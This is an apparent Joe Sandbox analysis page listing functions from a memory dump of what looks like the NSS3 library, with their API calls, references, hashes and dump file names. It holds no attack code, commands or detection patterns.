Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: a8006bac84b1e777c0797bc5841a4d9b6dd45ac745351efc38ef05937ddd1c46
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: DE312571901100C7E738C666CC4ABAEB276EFA131CF74457AD429A7BD0EB359886C732

Function 6CE60E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6CE60A2C), ref: 6CE60E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6CE60A2C), ref: 6CE60E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6CE60A2C), ref: 6CE60E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6CE60A2C), ref: 6CE60E90
free.MOZGLUE(00000000), ref: 6CE60EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6CE60A2C), ref: 6CE60ED9

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: 1dc5d8079c39cf22df11462fa0092fe8307821f8c983dd027c0f41c221e61a86
Instruction ID: b5f852a1adfc6cfbfd94c65cba0bac63d52dca85bc80e1dfd23a7214ca8a389a
Opcode Fuzzy Hash: 1dc5d8079c39cf22df11462fa0092fe8307821f8c983dd027c0f41c221e61a86
Instruction Fuzzy Hash: 28214E72FE02B44BEF1049679C81B6B76BEDBC274CF350035D81963F42EA61C81582A6

Function 6CE4A9B0 Relevance: 9.1, APIs: 6, Instructions: 101synchronizationCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,?,6CF29270), ref: 6CE4A9BF
PR_IntervalToMilliseconds.NSS3(?,?,6CF29270), ref: 6CE4A9DE

Part of subcall function 6CE4AB40: __aulldiv.LIBCMT ref: 6CE4AB66

Part of subcall function 6CF2CA40: LeaveCriticalSection.KERNEL32(?), ref: 6CF2CAAB

LeaveCriticalSection.KERNEL32(?), ref: 6CE4AA2C
WaitForSingleObject.KERNEL32(?,-00000001), ref: 6CE4AA39
EnterCriticalSection.KERNEL32(?), ref: 6CE4AA42
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CE4AAEB

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: CriticalSection$LeaveObjectSingleWait$EnterIntervalMillisecondsValue__aulldiv
String ID:
API String ID: 4008047719-0
Opcode ID: 4ebec98acc4bdb4ca15b0ea5b5e59280311b8dfe4b8a12272e894b8152b9ec7e
Instruction ID: 350e9fef98b1f6225bbe46df428b3770202bb883a136ebe73e236b1ec4251229
Opcode Fuzzy Hash: 4ebec98acc4bdb4ca15b0ea5b5e59280311b8dfe4b8a12272e894b8152b9ec7e
Instruction Fuzzy Hash: 7F416D70A447018FD7509F28D584796BBB5FB06328F28CA7DE4698B741DB71A982CB80

Function 6CE788D0 Relevance: 9.1, APIs: 6, Instructions: 97memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CE80725,00000000,00000058), ref: 6CE78906
EnterCriticalSection.KERNEL32(?), ref: 6CE7891A
PL_ArenaAllocate.NSS3(?,?), ref: 6CE7894A
calloc.MOZGLUE(00000001,6CE8072D,00000000,00000000,00000000,?,6CE80725,00000000,00000058), ref: 6CE78959
memset.VCRUNTIME140(?,00000000,?), ref: 6CE78993
PR_Unlock.NSS3(?), ref: 6CE789AF

Part of subcall function 6CE507A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDE204A), ref: 6CE507AD
Part of subcall function 6CE507A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDE204A), ref: 6CE507CD
Part of subcall function 6CE507A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDE204A), ref: 6CE507D6
Part of subcall function 6CE507A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDE204A), ref: 6CE507E4
Part of subcall function 6CE507A0: TlsSetValue.KERNEL32(00000000,?,6CDE204A), ref: 6CE50864
Part of subcall function 6CE507A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE50880
Part of subcall function 6CE507A0: TlsSetValue.KERNEL32(00000000,?,?,6CDE204A), ref: 6CE508CB
Part of subcall function 6CE507A0: TlsGetValue.KERNEL32(?,?,6CDE204A), ref: 6CE508D7
Part of subcall function 6CE507A0: TlsGetValue.KERNEL32(?,?,6CDE204A), ref: 6CE508FB

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Value$calloc$AllocateArenaCriticalEnterSectionUnlockmemset
String ID:
API String ID: 1716546843-0
Opcode ID: ead3b6070f5766f2f6001de403a470eb42f963b2c16d07392dc0c969f64fd7bd
Instruction ID: 626f0b1c6ab4c9ea2be8f37cc1dbf7e4a2487099f2ee4ad5ab4640537b384e8d
Opcode Fuzzy Hash: ead3b6070f5766f2f6001de403a470eb42f963b2c16d07392dc0c969f64fd7bd
Instruction Fuzzy Hash: 7531E671E001155BD7209F28CC45A56B7B8AF5531CF258226EC5CA7741E731E845C7E2

Function 6CE6AE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE6AEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6CE6AECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE6AEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6CE6AF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6CF89500), ref: 6CE6AF23

Part of subcall function 6CEBF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CEBF0C8
Part of subcall function 6CEBF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CEBF122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE6AF37

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: 10a0d2ff2b753316d81c29d2c4fb784e3601227e63f48e621b1875d14a7f2625
Instruction ID: 2a476b0d4acfabdd8d66b803989fb39a4168209b75b77f407b2736d49be1b3f9
Opcode Fuzzy Hash: 10a0d2ff2b753316d81c29d2c4fb784e3601227e63f48e621b1875d14a7f2625
Instruction Fuzzy Hash: 3B215AB5E952105BEB008F19CC02B9A7BF4AF8572CF244318FC249BB80E731D94587A3

Function 6CEEEE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEEEE85
realloc.MOZGLUE(A7285F58,?), ref: 6CEEEEAE
PORT_Alloc_Util.NSS3(?), ref: 6CEEEEC5

Part of subcall function 6CEC0BE0: malloc.MOZGLUE(6CEB8D2D,?,00000000,?), ref: 6CEC0BF8
Part of subcall function 6CEC0BE0: TlsGetValue.KERNEL32(6CEB8D2D,?,00000000,?), ref: 6CEC0C15

htonl.WSOCK32(?), ref: 6CEEEEE3
htonl.WSOCK32(00000000,?), ref: 6CEEEEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6CEEEF01

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: 1490e9e0c3bf984c9800f2a8b2a84b14ff3c48e3effa3454eb18202d90a220f4
Instruction ID: 18733566686545854a56e6b66240079129c1134502477ea40aae30bd9a3da486
Opcode Fuzzy Hash: 1490e9e0c3bf984c9800f2a8b2a84b14ff3c48e3effa3454eb18202d90a220f4
Instruction Fuzzy Hash: 7821E571A006149FCB109F28DC81B9AB7B4EF49398F258169EC199B751E330EC14CBE6

Function 6CE9EE30 Relevance: 9.1, APIs: 6, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE9EE49

Part of subcall function 6CEBFAB0: free.MOZGLUE(?,-00000001,?,?,6CE5F673,00000000,00000000), ref: 6CEBFAC7

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CE9EE5C
PK11_CreateContextBySymKey.NSS3(?,00000104,?,?), ref: 6CE9EE77
PK11_CipherOp.NSS3(00000000,?,00000008,?,?,?), ref: 6CE9EE9D
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CE9EEB3

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: K11_$ContextItem_Util$AllocCipherCreateDestroyZfreefree
String ID:
API String ID: 886189093-0
Opcode ID: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction ID: c72ec33e3fb26f843ee22c5ae8c14850fb863172a4fb253b8497a634609bb5c9
Opcode Fuzzy Hash: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction Fuzzy Hash: A42199BA6006106BEB119A58DC81EAB7778EF4571CF244168FE0897751E671EC1487F1

Function 6CEB4820 Relevance: 9.1, APIs: 6, Instructions: 74stringCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6CEB4EB8,?), ref: 6CEB4884

Part of subcall function 6CEB8800: TlsGetValue.KERNEL32(?,6CEC085A,00000000,?,6CE68369,?), ref: 6CEB8821
Part of subcall function 6CEB8800: TlsGetValue.KERNEL32(?,?,6CEC085A,00000000,?,6CE68369,?), ref: 6CEB883D
Part of subcall function 6CEB8800: EnterCriticalSection.KERNEL32(?,?,?,6CEC085A,00000000,?,6CE68369,?), ref: 6CEB8856
Part of subcall function 6CEB8800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6CEB8887
Part of subcall function 6CEB8800: PR_Unlock.NSS3(?,?,?,?,6CEC085A,00000000,?,6CE68369,?), ref: 6CEB8899

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CEB4EB8,?,?,?,?,?,?,?,?,?,?,6CE778F8), ref: 6CEB484C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CEB4EB8,?,?,?,?,?,?,?,?,?,?,6CE778F8), ref: 6CEB486D
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6CE778F8), ref: 6CEB4899
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB48A9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB48B8

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockstrcmp$CondErrorWait
String ID:
API String ID: 2226052791-0
Opcode ID: 75679fb7ba087ca789faaa4835169d814d536180d994877e30e031b5895e5951
Instruction ID: 7aa64ee30890c2f63650ea5a1d4721c1a1db3bb0df128f14fb692c45f391ab07
Opcode Fuzzy Hash: 75679fb7ba087ca789faaa4835169d814d536180d994877e30e031b5895e5951
Instruction Fuzzy Hash: B421F972F002409BEF105F64ED80A7777B8EF0675DB24052AEE096BB02E739E91587B1

Function 6CEF3C80 Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6CEF5B40: PR_GetIdentitiesLayer.NSS3 ref: 6CEF5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEF3D3F

Part of subcall function 6CE6BA90: PORT_NewArena_Util.NSS3(00000800,6CEF3CAF,?), ref: 6CE6BABF
Part of subcall function 6CE6BA90: PORT_ArenaAlloc_Util.NSS3(00000000,00000010,?,6CEF3CAF,?), ref: 6CE6BAD5
Part of subcall function 6CE6BA90: PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,6CEF3CAF,?), ref: 6CE6BB08
Part of subcall function 6CE6BA90: memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CEF3CAF,?), ref: 6CE6BB1A
Part of subcall function 6CE6BA90: SECITEM_CopyItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,6CEF3CAF,?), ref: 6CE6BB3B

PR_EnterMonitor.NSS3(?), ref: 6CEF3CCB

Part of subcall function 6CF29090: TlsGetValue.KERNEL32 ref: 6CF290AB
Part of subcall function 6CF29090: TlsGetValue.KERNEL32 ref: 6CF290C9
Part of subcall function 6CF29090: EnterCriticalSection.KERNEL32 ref: 6CF290E5
Part of subcall function 6CF29090: TlsGetValue.KERNEL32 ref: 6CF29116
Part of subcall function 6CF29090: LeaveCriticalSection.KERNEL32 ref: 6CF2913F

PR_EnterMonitor.NSS3(?), ref: 6CEF3CE2
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CEF3CF8
PR_ExitMonitor.NSS3(?), ref: 6CEF3D15
PR_ExitMonitor.NSS3(?), ref: 6CEF3D2E

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Util$Monitor$EnterValue$Alloc_ArenaArena_CriticalExitSection$CopyErrorFreeIdentitiesItem_LayerLeavememset
String ID:
API String ID: 4030862364-0
Opcode ID: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction ID: 402d4153db16239b12710c2ac6fdf869ef069e4cf383cb0e5376e702ca9b72b9
Opcode Fuzzy Hash: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction Fuzzy Hash: 8911C8B5A116006FE7205E65EC41B9BB7F5AB1170CF708538E42A97B20E633F91AC663

Function 6CE789E0 Relevance: 9.1, APIs: 6, Instructions: 64COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6CE788AE,-00000008), ref: 6CE78A04
EnterCriticalSection.KERNEL32(?), ref: 6CE78A15
memset.VCRUNTIME140(6CE788AE,00000000,00000132), ref: 6CE78A27
PR_Unlock.NSS3(?), ref: 6CE78A35
memset.VCRUNTIME140(6CE788AE,00000000,00000132,00000000,-00000008,00000000,?,?,6CE788AE,-00000008), ref: 6CE78A45
free.MOZGLUE(6CE788A6,?,6CE788AE,-00000008), ref: 6CE78A4E

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: memset$CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 65992600-0
Opcode ID: 30eab0b847bd2a446b2377078e0329e1ea574d9aa057c409c24371648fc7f169
Instruction ID: 00cd711c454952c8a3b34c3644e95133557ce9bd5a19935179d0bf8d0476dbae
Opcode Fuzzy Hash: 30eab0b847bd2a446b2377078e0329e1ea574d9aa057c409c24371648fc7f169
Instruction Fuzzy Hash: 4411D3B1E003019FEF609B68DC84B9ABB78FF15718F200526E908AA601E731E555C7F1

Function 6CEBFDF0 Relevance: 9.1, APIs: 6, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CEBFE08

Part of subcall function 6CEC10C0: TlsGetValue.KERNEL32(?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC10F3
Part of subcall function 6CEC10C0: EnterCriticalSection.KERNEL32(?,?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC110C
Part of subcall function 6CEC10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC1141
Part of subcall function 6CEC10C0: PR_Unlock.NSS3(?,?,?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC1182
Part of subcall function 6CEC10C0: TlsGetValue.KERNEL32(?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC119C

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CEBFE1D

Part of subcall function 6CEC10C0: PL_ArenaAllocate.NSS3(?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC116E

PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6CEBFE29
PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6CEBFE3D
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CEBFE62
free.MOZGLUE(00000000,?,?,?,?), ref: 6CEBFE6F

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil$AllocateValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 660648399-0
Opcode ID: f844f2f2335eb2256a681d108262f37fb1ed86dcdd0b6c02bf043a6f4f24ddea
Instruction ID: b13adcc8b71a58e037f5ba94f19047ee6a7f9a31249515776f1f4dad3567d78b
Opcode Fuzzy Hash: f844f2f2335eb2256a681d108262f37fb1ed86dcdd0b6c02bf043a6f4f24ddea
Instruction Fuzzy Hash: ED11E9BEA002016BEB018B54DD41A7B73B8AF552ADF348038F928A7B12E735D914C792

Function 6CF6FD90 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

PR_Lock.NSS3 ref: 6CF6FD9E

Part of subcall function 6CF29BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CE51A48), ref: 6CF29BB3
Part of subcall function 6CF29BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CE51A48), ref: 6CF29BC8

PR_WaitCondVar.NSS3(000000FF), ref: 6CF6FDB9

Part of subcall function 6CE4A900: TlsGetValue.KERNEL32(00000000,?,6CFC14E4,?,6CDE4DD9), ref: 6CE4A90F
Part of subcall function 6CE4A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CE4A94F

PR_Unlock.NSS3 ref: 6CF6FDD4
PR_Lock.NSS3 ref: 6CF6FDF2
PR_NotifyAllCondVar.NSS3 ref: 6CF6FE0D
PR_Unlock.NSS3 ref: 6CF6FE23

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: CondLockUnlockValue$CriticalEnterNotifySectionWait
String ID:
API String ID: 3365241057-0
Opcode ID: cbdce6bb22f8d7facbd3e26b63f56408af325dfc76780591e2c67124c4c7a4db
Instruction ID: ca9436d8c917616e2132fd5ced47616480fa793d26cb33e9e2f4d71ec67e1883
Opcode Fuzzy Hash: cbdce6bb22f8d7facbd3e26b63f56408af325dfc76780591e2c67124c4c7a4db
Instruction Fuzzy Hash: 1A0161B6F14201ABDF589F56FC009567A31BB132687158375E82647BE1E722EE38C781

Function 6CEF6840 Relevance: 9.0, APIs: 6, Instructions: 45COMMON

Download Yara Rule

APIs

PR_NewMonitor.NSS3(00000000,?,6CEFAA9B,?,?,?,?,?,?,?,00000000,?,6CEF80C1), ref: 6CEF6846

Part of subcall function 6CE51770: calloc.MOZGLUE(00000001,0000019C,?,6CE515C2,?,?,?,?,?,00000001,00000040), ref: 6CE5178D

PR_NewMonitor.NSS3(00000000,?,6CEFAA9B,?,?,?,?,?,?,?,00000000,?,6CEF80C1), ref: 6CEF6855

Part of subcall function 6CEB8680: calloc.MOZGLUE(00000001,00000028,00000000,-00000001,?,00000000,?,6CE655D0,00000000,00000000), ref: 6CEB868B
Part of subcall function 6CEB8680: PR_NewLock.NSS3(00000000,00000000), ref: 6CEB86A0
Part of subcall function 6CEB8680: PR_NewCondVar.NSS3(00000000,00000000,00000000), ref: 6CEB86B2
Part of subcall function 6CEB8680: PR_NewCondVar.NSS3(00000000,?,00000000,00000000), ref: 6CEB86C8
Part of subcall function 6CEB8680: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00000000,00000000), ref: 6CEB86E2
Part of subcall function 6CEB8680: malloc.MOZGLUE(00000001,?,?,?,00000000,00000000), ref: 6CEB86EC
Part of subcall function 6CEB8680: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,00000000), ref: 6CEB8700

PR_NewMonitor.NSS3(?,6CEFAA9B,?,?,?,?,?,?,?,00000000,?,6CEF80C1), ref: 6CEF687D

Part of subcall function 6CE51770: PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6CE518DE
Part of subcall function 6CE51770: InitializeCriticalSectionAndSpinCount.KERNEL32(00000020,000005DC,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6CE518F1

PR_NewMonitor.NSS3(?,6CEFAA9B,?,?,?,?,?,?,?,00000000,?,6CEF80C1), ref: 6CEF688C

Part of subcall function 6CE51770: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6CE518FC
Part of subcall function 6CE51770: free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6CE5198A

